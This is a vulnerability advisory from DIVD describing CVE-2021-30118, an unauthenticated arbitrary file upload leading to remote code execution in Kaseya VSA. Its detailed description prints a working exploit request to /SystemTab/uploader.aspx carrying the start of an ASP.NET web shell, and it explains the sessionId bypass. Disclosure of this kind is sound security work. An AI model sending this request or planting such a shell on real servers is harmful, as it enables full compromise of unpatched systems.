# CVE-2021-30118 - UNAUTHENTICATED REMOTE CODE EXECUTION IN KASEYA VSA < V9.5.5

| | |
|---|---|
| CVE | CVE-2021-30118 |
| Case | DIVD-2021-00011 |
| Discovered by | • Wietse Boonstra |
| Credits | • Discovered by Wietse Boonstra of DIVD<br>• Additional research by Frank Breedijk of DIVD |
| Products | Kaseya:<br>• Kaseya VSA (On-premise and SaaS) |
| Versions | Kaseya:<br>• Kaseya VSA (On-premise and SaaS)<br>  • 9.x (< 9.5.6) |
| CVSS | Base score: 9.8 |
| References | • https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/<br>• https://csirt.divd.nl/CVE-2021-30118<br>• https://csirt.divd.nl/DIVD-2021-00011 |

- https://helpdesk.kaseya.com/hc/en-gb/articles/360019054377-9-5-5-Feature-Release-10-April-2021

| | |
|---|---|
| Solution | SaaS version has been fixed by the vendor. Upgrade on-premise to version 9.5.6 or above |
| Last modified | 14 Dec 2022 20:32 |

# DESCRIPTION

An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands

The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands.

# DETAILED DESCRIPTION

Given the following request:

```
POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=sh
Host: 192.168.1.194
Cookie:  sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219
Content-Length: 12

<%@ Page Language="C#" Debug="true" validateRequest="false" %>
<%@ Import namespace="System.Web.UI.WebControls" %>
<%@ Import namespace="System.Diagnostics" %>
<%@ Import namespace="System.IO" %>
<%@ Import namespace="System" %>
<%@ Import namespace="System.Data" %>
<%@ Import namespace="System.Data.SqlClient" %>
<%@ Import namespace="System.Security.AccessControl" %>
<%@ Import namespace="System.Security.Principal" %>
<%@ Import namespace="System.Collections.Generic" %>
<%@ Import namespace="System.Collections" %>

<script runat="server">

private const string password = "pass";  // The password ( pass )
private const string style = "dark";  // The style ( light / dark )

protected void Page_Load(object sender, EventArgs e)
{
        //this.Remote(password);
        this.Login(password);
        this.Style();
        this.ServerInfo();

<snip>
```

The attacker can control the name of the file written via the qqfile parameter and the location of the file written via the PathData parameter.

Even though the call requires that a sessionId cookie is passed we have determined that the sessionId is not actually validated and any numeric value is accepted as valid.

# SECURITY ISSUES DISCOVERED

- a sessionId cookie is required by /SystemTab/uploader.aspx, but is not actually validated, allowing an attacker to bypass authentication
- /SystemTab/uploader.aspx allows an attacker to create a file with arbitrary content in any place the webserver has write access
- The web server process has write access to the webroot where the attacker can execute it by requesting the URL of the newly created file.

# IMPACT

This arbitrary file upload allows an attacker to place files of his own choosing on any location on the hard drive of the server the webserver process has access to, including (but not limited to) the webroot. If the attacker uploads files with code to the webroot (e.g. aspx code) he can then execute this code in the context of the webserver to breach either the integrity, confidentiality, or availability of the system or to steal credentials of other users. In other words, this can lead to a full system compromise.

JSON version

Twitter

LinkedIn